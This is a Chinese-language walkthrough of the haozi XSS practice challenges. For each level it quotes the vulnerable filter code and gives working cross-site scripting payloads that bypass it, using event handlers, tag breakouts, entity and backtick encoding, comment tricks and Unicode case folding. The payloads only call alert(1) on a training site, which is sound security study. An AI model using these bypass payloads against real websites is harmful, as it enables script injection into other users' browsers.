背景

这里写下haozi大佬的XSS闯关练习笔记。

题目网址为:https://xss.haozi.me/

项目地址为:https://github.com/haozi/xss-demo

注意这里有一个自带alert(1)的js地址:https://xss.haozi.me/j.js

0x00

关键源码:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

无任何过滤直接往div标签内写内容,直接上payload即可。下面将本次用到的XSS payload小结如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>alert(1)</script>
<body onload=alert(1)>
<body/onload=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<img src onerror=alert(1)>
<input type=image src onerror=alert(1)>
<script src="https://xss.haozi.me/j.js"></script>//加载外部js
<input type=button onclick="alert(1)">//点击按钮
<input onmouseover=alert(1)>//鼠标指针移动到指定的元素上时执行
<input onmousemove=alert(1)>//鼠标移动时执行
......还有其他onmouse系列
<img src=javascript: onmouseover="alert(1)">//鼠标移动指向图片
<img src=javascript: onclick="alert(1)">//鼠标点击图片

0x01

关键源码:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

无任何过滤直接往textarea标签内写内容,直接写和上面一样的payload是不行的,因为该标签内被解析为文本内容,文本框是无法执行JS代码的,因此需要闭合该textarea标签:

1
</textarea><svg onload=alert(1)>

0x02

关键源码:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

简单的DOM型XSS,无任何过滤直接往input标签内的value属性写内容,闭合掉双引号和大于号即可:

1
"><body onload=alert(1)>

也可以如下构造,当鼠标指向input输入框时就会执行弹框:

1
" onmouseover="alert(1)

0x03

关键源码:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

正则过滤了[]、()等符号,那就用反引号`来替代():

1
<img src=x onerror=alert`1`>

当然在标签属性内也可以使用HTML实体编码绕过:

1
<img src="" onerror=alert&#x28;&#x31;&#x29;>

直接引用外部js文件同样OK:

1
<script src="https://xss.haozi.me/j.js"></script>

0x04

关键源码:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

在上一题的基础上,添加了反引号`的过滤,但前面的后两个payload是可以用的:

1
2
<img src="" onerror=alert&#x28;&#x31;&#x29;>
<script src="https://xss.haozi.me/j.js"></script>

当然还有下面一些payload,同样都是利用编码绕过,只是标签不同而已:

1
2
3
<script>window.onerror=eval;throw'=alert\x281\x29'</script>//利用js捕获抛出错误执行弹框,Unicode编码
<iframe srcdoc="<script>parent.alert&#40;1&#41;</script>">//利用HTML5中iframe的特点,其srcdoc属性里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的HTML片段
<svg><script>alert&#40;1&#41</script>//svg标签可直接执行实体字符即HTML转义字符,若不添加在前则包含解析script标签内容的编码内容

0x05

关键源码:

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

过滤了–>,并将输入放入注释中间。但是,

HTML注释支持以下两种方式:

  • <!-- xxx -->
  • <!- xxx -!> <!— 以!开头,以!结尾对称注释的方式 —!>

直接如下绕过:

1
--!><body/onload=alert(1)>

0x06

关键源码:

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

过滤了auto、大于号>、以on开头=等号结尾,将其替换成_,且忽略大小写。但是没有过滤换行,直接可以换行绕过。

这里利用input标签的onmouse系列属性弹框即可:

1
2
onmousemove
=alert(1)

另外,input标签的type属性可以设置为image,然后利用类似img标签的套路来弹框即可:

1
2
type="image" src="" onerror
=alert(1)

0x07

关键源码:

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

正则过滤了<>括起来的字符串内容,这里可以利用容错性,少添加最后一个大于号>也是可以执行的:

1
<body/onload=alert(1)//

当然,”//“可以替换为”<!–”或空格或回车。

0x08

关键源码:

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

正则过滤了想要闭合用的style标签,且忽略大小写。和前面的一样,我们可以在标签的大于号>之前添加空格或换行来绕过执行:

1
</style ><body/onload=alert(1)>

0x09

关键源码:

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

正则限制了必须以指定的域名来开头,并放置在script标签的src属性中。这里直接闭合双引号和script标签即可:

1
2
https://www.segmentfault.com"></script>
<script src="https://xss.haozi.me/j.js

0x0A

关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

在上一题的基础上,过滤了&、’、”、<>、/等字符。也就是说,不能通过闭合的形式构造payload执行了。

这里可以利用URL的@字符的特性来调用外部j.js。

一般的,当我们访问http://a.com@b.com

实际是访问http://b.com

虽然URL中的特殊符号会被过滤,但过滤后的HTML实体编码在HTML标签属性值中无影响,可以直接解析执行:

1
https://www.segmentfault.com@xss.haozi.me/j.js

但是我这里是没有成功执行的,原因待确定。

0x0B

关键源码:

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

将输入的字母全部转换成大写形式就直接传入h1标签中。

有几个tips:

  • html标签大小写无影响;
  • js严格区分大小写。

也就是说,不能直接构造js代码执行了,但这里可以利用script标签加载j.js,因为URL地址不受大小写影响且HTML标签不受大小写影响:

1
<script src="https://xss.haozi.me/j.js"></script>

0x0C

关键源码:

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

在上一题的基础上,替换了script字符串为空,且忽略大小写。

我们可以内嵌script来绕过:

1
<scrscriptipt src="https://xss.haozi.me/j.js"></scriscriptpt>

0x0D

关键源码:

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

正则过滤了<、/、”、’等字符为空,再将输入传入script标签中有注释符的alert()内。

先通过换行绕过注释符限制,用反引号`替换(),最后换行添加HTML注释 –> 来注释掉后面的js代码(记住,在–>前必须添加换行才会生效):

1
2
3

alert`1`;
-->

0x0E

关键源码:

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

正则过滤了以”<”开头且紧接字母的字符串,将其在”<”与字母中间添加下划线”_”。

这题需要解决两个问题:1. \<s被正则替换坏了; 2. 大写的js无法正常运行。

这个确实不会搞,到网上看了下wp,发现还有这么个东西:“ſ 古英语中的s的写法, 转成大写是正常的S”。

那就直接将之前payload的s替换成 ſ 即可:

1
<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

关键源码:

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

正则对单双引号、&、<>、/进行了HTML实体编码,再放置到img标签的onerror属性中。

但是,对HTML inline js转义就是做无用功,浏览器会先解析HTML,然后再解析js。

我们可以直接闭合前面的console.error(),添加;分号再注入alert语句即可:

1
2
3
4
');alert('1

');alert(1)
-->

0x10

关键源码:

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

直接将输入放置到script标签的window.data中。

可以在前面通过引号随意赋值给window.data,以分号结束该js语句,再注入alert语句即可:

1
"";alert(1)

可以闭合掉script标签:

1
</script><script>alert(1)

可以直接在window.data执行再赋值:

1
2
3
4
5
alert(1)

eval(alert(1))

eval("alert(1)")

0x11

关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

很长的一段过滤,将反斜杠\、单双引号、<>、反引号`、斜杠/、换行符\n与\r、tab符\t、换页符\f、垂直制表符\v、空字符\O都在其前面添加反斜杠\进行转义,最后再放置到script标签中。

这里注意到console.log("${s}"),当我们输入双引号时,其实是输入\“,然后刚刚的代码就变成console.log("\""),这样输入的\“前面的反斜杠\直接放在双引号中被忽略掉了,起不到转义字符的作用,因此可以利用此直接构造:

1
2
3
4
5
");alert("1

");alert(1)//

");alert(1);<!--

中间的payload虽然//被转义为了\/\/,但转义之后还是//,不影响注释效果。

0x12

关键源码:

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

正则过滤了双引号,将其替换为\\“,再将输入放置到script标的console.log()中。

测试一下发现,当我们输入\“时,经过转义后为console.log("\\""),即将过滤时添加的转移符给转义了,从而绕过了转移符的转义功能,可构造如下payload:

1
2
3
4
5
6
\");alert(1)//

\");alert(1)
-->

\");alert(1)<!--

另外,由于解析HTML标签的优先级高于解析JS的优先级,因此也可以直接闭合标签:

1
</script><script>alert(1)//

小结

这次的练习多是针对正则的绕过,学到一些新姿势,推荐练习。